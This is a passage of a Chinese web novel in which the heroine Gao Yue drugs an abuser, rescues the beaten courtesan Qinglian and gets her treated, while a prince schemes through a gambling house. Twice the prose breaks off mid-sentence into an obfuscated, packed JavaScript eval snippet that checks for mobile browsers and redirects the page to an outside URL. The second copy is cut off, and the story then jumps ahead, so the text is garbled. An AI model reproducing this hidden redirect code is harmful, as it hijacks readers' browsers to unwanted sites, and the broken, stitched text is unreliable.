高玥心头一动,放轻了脚步,正准备悄悄凑到门边,一声怒骂声从隔壁房间传来。 “贱人!还敢躲!” 紧接着便是一声清脆的耳光声,伴随着瓷器碎裂的刺耳动静。 “啊——” 一声凄厉的尖叫之后,是女子止不住的哭喊和求饶。 “求求您……求求您放过我吧……我再也不敢了……” 那声音带着哭腔,充满了恐惧与绝望。 高玥的脸色沉了下来。 她本想直接一脚踹开门,但理智让她停住了脚步。 这具身体手无缚鸡之力,对方是个正在施暴的男人,硬闯进去,非但救不了人,恐怕连自己都要搭进去。 只在瞬间,高玥便下定了决心。 “系统,兑换强效迷香。” 【叮!强效迷香已兑换,消耗积分300点。】 一个小巧的瓷瓶瞬间出现在她掌心。 她轻轻走到门前,从门缝中观察,里面的景象让她倒吸了一口凉气。 一个男人正背对着门口,他一手死死揪着一个女子的头发,将她整个人野蛮地从地上拖拽起来,迫使她仰起头。 她不再迟疑,拔开瓶塞,将一缕无色无味的青烟顺着门缝吹了进去。 为了确保万无一失,她耐心等了足足一刻钟,直到房间里的声音彻底平息,只剩下沉重的倒地声传来,她才缓缓推开房门。 眼前的景象让她胃里一阵翻江倒海。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315875|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女子此刻正蜷缩在角落,身上的衣物被撕得破碎不堪,露出的皮肤上布满了青紫的伤痕与血迹,一张原本清秀的脸肿胀得不成样子,已然昏死过去。 而房间中央,一个身材肥硕的男人呈大字型躺在地上,鼾声如雷。 当务之急,是救人。 高玥快步上前,探了探女子的鼻息,尚且平稳,这才松了口气。 她立刻脱下自己的外袍,将女子瘦弱的身体紧紧裹住,拦腰抱起。 女子的体重轻得惊人,高玥抱着她毫不费力地走出了房间。 …… 与此同时,京城另一端的“通四海”赌坊,却是另一番光景。 “通四海”赌坊内,人声鼎沸,热浪熏天。 一张张赌桌被围得水泄不通,红着眼的赌徒挥舞着手臂嘶吼着。 “大!大!大!” “小!小!小!” 骰子落入瓷碗,发出清脆的撞击声。 就在这片狂热到近乎癫狂的氛围中,一扇厚重的大门被推开。 一抹雪白缓缓踏入这片乌烟瘴气的场所。 离门最近的一个伙计原本正扯着嗓子吆喝,一瞥见来人,瞬间换上一副谄媚到近乎畏惧的笑容,手脚麻利地躬身行礼,连大气都不敢喘。 而原本还在各自忙碌的赌坊伙计们,听到了这声动静,都纷纷停下手头的活计,垂首肃立,自动在他前行的路线上让开一条通路。 “东家。” 一声声低沉的称呼,充满了敬畏。 一个新来的伙计不明所以,拉住身边的人小声问道:“王叔,这位是哪路神仙?怎么咱们掌柜的见了他,跟老鼠见了猫似的?” 被称作王叔的老伙计压低了声音,眼中满是忌惮:“你小子新来的,不知道这位爷的厉害。一个月前,他第一次来,就带了十两银子。咱们原来的钱掌柜,也就是现在这位的跟班,当时见他面生,还出言讥讽了几句。” “后来呢?”新伙计听得入了神。 “后来?”王叔讪讪笑了一声,“后来这位爷就用那十两银子做本,从最小的骰子桌开始,一路赢到了最大的牌九局。 整整三天三夜,他都没出过这赌坊的门,也没输过一把。最后钱掌柜把整个赌坊都押了上去,结果还是输了。这位爷,现在是咱们通四海现在的新东家。” 新伙计倒吸一口凉气,再看向齐思铭的背影时,眼神里只剩下了敬畏。 王叔拍了拍他的肩膀,告诫道:“记住了,在这儿,你可以得罪任何人,但千万别惹这位爷不高兴。不然,钱掌柜的今天,就是你的明天。” 穿过喧闹的大堂,齐思铭走进最里间一处僻静的雅室。 钱掌柜正躬身候在门外。 “王……东家。”王友连忙迎了上来,为他推开门。 齐思铭坐到主位上,慢条斯理地为自己斟了一杯茶。 “事情办得如何了?”他没有抬头,随意地问道。 王友恭敬地回禀:“按您的吩咐,赌坊里那些见不得光的银子,都以施粥赈灾的名义散了出去,剩下那些干净的账目,已经换成了官银,分批注入了通源钱庄。” 齐思铭端起茶杯,轻轻吹了吹浮沫:“鱼饵放出去了?” “放出去了。”王友的脸上露出一丝兴奋,“那家钱庄的背后是户部侍郎李显在撑腰,咱们这笔巨款一进去,他绝对会动心。 按照他们的规矩,这么大一笔钱,不可能长时间留在账上。最多三日,这笔钱就会流向下一个地方。到那时,咱们就能顺藤摸瓜,看看究竟是谁,在用国库的银子,养着自己的私兵。” 齐思铭面无表情的脸上终于有了一丝变化。 他布这个局,已经很久了。 从赢得这家赌坊开始,每一步都在他的算计之中。 既然齐思安素有仁德之名,那他就用这些本不干净的钱,去做比齐思安更得人心的善事。 他要让天下人都看看,谁才是真正的贤王。 而至于那些脏钱,正好可以用来引出藏在户部背后的大鱼。 他呷了口茶,茶水微烫,他却仿佛毫无所觉。 只是不知,此刻他的那枚棋子,又在做什么? 28. 风尘染血 另有图谋 夜凉如水,子时的山城空无一人。 怀中女子的呼吸急促而滚烫,高玥的手轻轻覆在女子的额头上。 糟了,她发烧了! 可这个时辰,所有的医馆早已关门,高玥的心中也开始愈发的焦急。 终于,一盏发着微弱亮光的灯笼出现在巷子尽头,上面龙飞凤舞地写着三个大字。 回春堂。 还开着门! 高玥眼前一亮,像是抓住了最后一根救命稻草一般,用尽力气冲了过去。 “有人吗?开门!救命!”高玥腾出一只手,用力地拍打着门环。 怀中的女子发出一声微弱的呻吟,气息越发微弱。 高玥心急如焚,正要再次敲,门内却传来一阵窸窣的脚步声,随即是门栓被拉开的“吱呀”声。 一个衣着松垮中衣的中年男子探出头来,睡眼惺忪,满脸的不耐烦。 “大半夜的敲什么敲,还让不让人睡觉了!” 他不耐烦地嚷嚷着,当他看清高玥怀中那个奄奄一息的女子后,脸色瞬间变得更加难看。 “晦气!真是晦气!”他低声咒骂了一句,作势就要关门,“去别处去!要死也别死在我这里!” 高玥像是没有听到他的咒骂一般,竟是直接用肩膀撞了上去。 那个男子没想高玥竟直接这么一撞,一个没站稳,险些摔倒在地。 “你疯了吧!你敢闯我的医馆!你……” 高玥小心翼翼地将怀中的女子平放在床榻上。 做完这一切,她才缓缓转过身,一字一句地说道,“你今日若不救,我便拆了你这医馆!” 那郎中上下打量了一番高玥,又瞥了一眼床上衣衫不整的女子,脸上露出鄙夷的神色。 这种从烟花之地出来的腌臢事,他见得多了,多半是争风吃醋的打闹,或是哪个恩客手重了些。 他撇撇嘴,慢悠悠地擦着柜台:“公子爷,小老儿这庙小,怕是容不下您这尊大佛。您还是另寻高明吧。” 这摆明了是不想沾惹麻烦。 高玥心头火起,她现在好歹也是顶着李显的这张脸,就连鸨母都得给三份脸面,现如今竟被个小小医馆的郎中给下了面子。 她上前一步,怒声喝道:“睁开你的狗眼看看我是谁!我爹是户部侍郎李源!耽误了救人,我让你全家都去大牢里吃牢饭!” 掌柜的手一顿,抬眼端详着高玥。 片刻后,他嗤笑一声:“你说你爹是户部侍郎,我还说我爹是当今圣上呢,你信吗?” “不过……”他眨了眨眼睛,伸出手,拇指与食指捻了捻,那意思再明白不过。 “有了这个,你爹就是当今圣上!” 高玥在心里把这见钱眼开的老家伙骂了一百遍。 不过情况紧急,她也懒得再费口舌,从怀里摸出一锭沉甸甸的银子,重重地拍在柜台上。 “五十两,够不够?” 掌柜的眼睛瞬间亮了,脸上立刻笑成了一朵花。 他飞快地将银子揣进怀里,态度一百八十度大转弯:“够了够了!公子爷心善,菩萨心肠啊!您放心,只要人还有一口气,小老儿保证给您救回来!” 变脸之快,让高玥叹为观止。 不过这掌柜的收了钱,办事倒也利索。 他给女子细细把了脉,又检查了伤口,开了方子让药童去抓药煎药。 一番忙碌下来,天边已经泛起了鱼肚白。 高玥就这么静静地坐在床边的矮凳上,一夜未眠。 床上的女子呼吸平稳了许多,那张脸洗净了以后倒也算得上清秀。 她到底在做什么? 她当下的任务是寻找高盼,而不是来这边做活菩萨的,而现如今,高盼没找到,反倒是还带了个拖油瓶。 就在高玥思绪万千之时,床上的女子缓缓睁开了眼睛。 她看到床边的高玥,也是一愣。 她挣扎着想要起身,虚弱地开口问道:“是……是公子救了奴家?” 高玥点了点头,递过去一杯温水:“你醒了,现在感觉怎么样?” 女子的眼中闪了几闪,没有第一时间接水,而是掀开被子就要下床。 她双膝一软,便要跪下去磕头:“公子救命之恩,奴家无以为报……” “行了,”高玥眼疾手快地扶住她,“你身上有伤,别乱动。我救你不是为了让你磕头谢恩的。” 她的语气有些生硬,女子被吓得一怔,泫然欲泣。 高玥见状,心里暗叹一声,放缓了语气:“我不是在凶你。你先好好躺着,有什么话,等你身体好些再说。” 她扶着女子重新躺下,将水杯递到她唇边。 女子迟疑了一下,还是小口小口地喝了。 温热的水也让她稍稍安定下来。 “你叫什么名字?为何会在红袖阁?”高玥直接切入主题。 女子攥着被角,犹豫了一下,低声回答:“奴家名叫青莲。是……是被恶人卖进红袖阁的。” “恶人?” “是奴家的继母。”青莲的眼泪终于忍不住落了下来,“她欠了赌坊的钱,便将我卖了。” “你家在何处?现在家中还有什么人?”高玥继续追问。 “家在城南的柳树巷,家里……只有一个常年卧病的父亲了。”青莲的声音带着哭腔,“公子,求求您,救救我爹吧!我若是不回去,继母定然不会管他的死活!” 高玥沉默了。 她救下青莲,只是临时起意,却没想到会牵扯出这么一桩麻烦事。 她现在自己都还有要紧事要去做,哪里还有精力去管别人的家事。 可看着青莲那双充满哀求的眼睛,拒绝的话却怎么也说不出口。 “你的事,我自会处理。你先安心养伤。”高玥只得先安抚下青莲,待回去慢慢整理一下思绪再做定论。 青莲却一把抓住了她的衣袖,急切地道:“公子要去哪里?您……您不会是不要我了吧?” 她的眼神充满了惊恐,如同一头受惊的小鹿。 高玥心中一软,语气也温和下来:“我出去给你买些吃的和换洗的衣物。你放心,我不会丢下你不管。” 得到承诺,青莲这才松开了手,目送着高玥离开。 而就在高玥为青莲的事情烦心时,千里之外的清河郡,气氛却是一片压抑。 齐思铭坐在书房内,氤氲的茶气模糊了他俊美却阴郁的面容。 “殿下,消息确认无误。咱们的人本已经看到李显从红袖阁离开,他却没过多久又折返回去了,还从红袖阁救下了一名女子,之后二人便不知所踪。”王友毕恭毕敬地禀报。 齐思铭轻轻摩挲着温热的杯壁,若有所思。 “李显?那个草包什么时候变得如此怜香惜玉,还玩起了英雄救美的戏码?” 王友低着头:“属下也觉得此事蹊跷。李显此人,向来胆小怕事,欺软怕硬,为了一名风尘女子得罪红袖阁,不像是他会做的事。” “有意思。”他淡淡地吐出两个字,“看来这李显身上倒是藏着不少秘密。” 他起身走到窗边,看着庭院中那棵枝繁叶茂的梧桐树,陷入沉思。 “王友。” “属下在。” “去查那个女子的底细,我要知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高玥像是生怕别人听不见一样,故意重复了一遍:“没错!就是青莲姑娘!你们都给小爷听好了,从今往后,山城里只有一位青莲姑娘,那就是我李显的心头肉!谁要是敢慢待了她,就是跟小爷我过不去!” 有了这番话,以后山城的人再想要欺负青莲,怕不是也要心中掂量个几分了。 出了锦绣阁,高玥又如法炮制地去了点心铺,首饰铺。 不到半个时辰,户部侍郎之子李显为博美人青莲一笑,一掷千金”的消息,就飞遍了山城的大街小巷。 这阵风自然也刮进了城南的柳树巷。 青莲的继母正坐在牌桌上,输得双眼通红。 一个牌友推了她一把,阴阳怪气地说道:“我说王嫂子,你还在这儿愁眉苦脸呢?听说你家青莲可了不得,攀上高枝了!” “就那个死丫头,能攀上什么高枝?” “还能是谁?户部侍郎家的李公子啊!人家当着全城人的面说了,为了你家青莲,万金都舍得花,此生非她不娶呢!”牌友添油加醋地描述着街上的见闻,“绫罗绸缎、金银首饰、山珍海味,流水似的往你家青莲那里送呢!” “哎哟我的王嫂子,你可要过上好日子咯!” 继母捏着麻将的手猛地一顿,难以置信地瞪大了眼睛。 那个赔钱货? 被她几两银子就卖掉的丫头片子竟然钓上了这么个金龟婿? 短暂的震惊过后,巨大的狂喜瞬间席卷了她。 她猛地将手中的牌一推,嘴里骂骂咧咧地站起身:“他娘的,不玩了!老娘要去医馆看看我那宝贝女儿去!”